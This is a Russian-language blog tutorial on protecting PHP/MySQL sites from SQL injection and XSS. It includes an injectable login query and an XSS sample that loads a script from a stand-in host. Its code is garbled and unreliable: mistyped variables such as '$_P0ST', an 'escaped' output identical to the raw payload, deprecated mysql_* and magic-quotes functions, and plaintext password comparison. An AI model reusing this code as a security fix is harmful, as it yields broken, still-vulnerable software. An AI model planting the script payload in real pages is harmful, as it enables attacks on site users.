КОнтакты, предложения, отзывы

.rar или .zip
Вложение
Онлайн-чат
На этом сайте, вы найдёте полезную информацию, практические советы в области веб-программирования, веб-дизайна и веб-разработок в целом. Мы с удовольствием поделимся с вами реальными примерами и решениями задач, связанных с jQuery , JavaScript , PHP и MySQL , версткой сайтов , поможем разобраться новичкам с современными технологиями, такими как Ajax , HTML5 , CSS3 и многими другими.

Предотвращение внедрения SQL и XSS кода

Обезвреживание данных, передаваемых на сервер

Любая система может быть взломана! Это неоднократно доказали хакеры. Вспомним хотя бы атаки хакеров после закрытия сайта ex.ua заблокировавшие доступ к сайту главы государства - president.gov.ua. Но скромные попытки вам напакостить можно легко обезвредить, PHP предоставляет для этого несколько полезных функций

Предотвращение внедрения SQL кода

К примеру, для идентификации пользователя используется следующий простой фрагмент кода:
$user = $_P0ST['user'];
$pass = S_P0ST[’pass’];
$query = "SELECT * FROM users WHERE user='$user' AND pass='$pass'";
Не буду тут рассказывать, как можно внедрить вредный код, лучше покажу как его обезвредить. Вот функция, которую можно использовать, чтобы удалить любые «волшебные кавычки», добавленные во введенную пользователем строку, а затем соответствующим образом обезвредить все имеющиеся в ней опасные компоненты:
function mysql_fix_string($string){
  if (get_magic_quotes_gpc()) $string = stripslashes($string);
  return mysql_real_escape_string($string);
}
Функция get_magic_quotes_gpc возвращает TRUE, если свойство «волшебных кавычек» находится в активном состоянии. Если это так, любые добавленные к строке слеши подлежат удалению, в противном случае функция mysql_real_ escape string может отключить некоторые символы дважды, сделав строки непригодными для дальнейшего использования. В примере 10.19 показано, как можно вставить функцию в ваш код.
$user = mysql_fix_string($_P0ST['user']);
$pass = mysql_fix_string($_POST['pass']);
$query = "SELECT * FROM users WHERE user='$user' AND pass='$pass'";

Предотвращение внедрения HTML-кода

Нужно позаботиться о защите еще от одного вида внедрения, который связан не с безопасностью ваших собственных веб-сайтов, а с конфиденциальностью и защитой пользовательских данных. Речь идет о межсайтовом скриптинге (Cross Site Scripting), называемом также XSS. Эта разновидность внедрения происходит в том случае, когда вы разрешаете пользователю вводить, а затем отображать на вашем веб-сайте HTML- или, что случается чаще, JavaScript-код. Одним из мест, где это часто происходит, является форма для комментариев. Рассмотрим, к примеру, следующий код HTML:
<script src='http://x.com/hack.js> </script>
<script>hack();</script>
Этот код загружает программу на JavaScript, а затем выполняет вредоносные функции. Но если сначала этот код будет пропущен через функцию htmlentities, то он превратится в следующую абсолютно безвредные строки:
<script src='http://x.com/hack.js'></script>
<script>hack();</script>
Поэтому если вы когда-нибудь соберетесь отобразить какие-нибудь данные, введенные пользователем, то нужно немедленно или сразу же после первого сохранения в базе данных обезвредить их с помощью функции html entities. Для этого я рекомендую вам создать новую функцию наподобие первой функции mysql_fix_string():
function mysql_entities_fix_string($string){
  return htmlentities(mysql_fix_string($string));
}  

function mysql_fix_string($string){
  if (get_magic_quotes_gpc()) $string = stripslashes($string);
  return mysql_real_escape_string($string);
}
Функция mysql_entities_fix_string сначала вызывает функцию mysql_fix_string, к которой по желанию можно добавить ещё функцию trim, убирающую все пробелы с начала и конца строки, что необходимо делать при регистрации и авторизации пользователей, вдруг пробел лишний поставил, а затем, прежде чем вернуть полностью обезвреженную строку, пропускает результат через функцию htmlentities. Новая, «максимально защищенная» версия безопасного доступа к MySQL и предотвращения XSS-атак
$user  = mysql_entities_fix_string($_POST['user']);
$pass  = mysql_entities_fix_string($_POST['pass']);
$query = "SELECT * FROM users WHERE user='$user' AND pass='$pass'";

function mysql_entities_fix_string($string){
  return htmlentities(mysql_fix_string($string));
}  

function mysql_fix_string($string){
  $string = trim($string);
  if (get_magic_quotes_gpc()) $string = stripslashes($string);
  return mysql_real_escape_string($string);
}
Или можно немножко упростить чтобы меньше буков было:
function mysql_escape($string){    
  $string = trim($string);
  if (get_magic_quotes_gpc()){
    $string = stripslashes($string);
  }
  $string = mysql_real_escape_string($string);  
  return htmlentities($string, ENT_QUOTES, "UTF-8");
}
После изучения способов объединения РНР с MySQL и избавления от опас­ ности, которой грозят введенные пользователем данные, в следующей статье будет подробно рассмотрена обработка данных формы на примере регистрации и авторизации пользователей. Ни del вам ни backspase :)
2015.01.10 592

Пятилетний хакер взломал бабушкин сервант и хакнул оттуда несколько конфет, за что был жестоко забанен на два дня от улицы.
Войдите или Зарегистрируйтесь чтобы оставить комментарий

Комментарии


    Яндекс.Метрика Яндекс.Метрика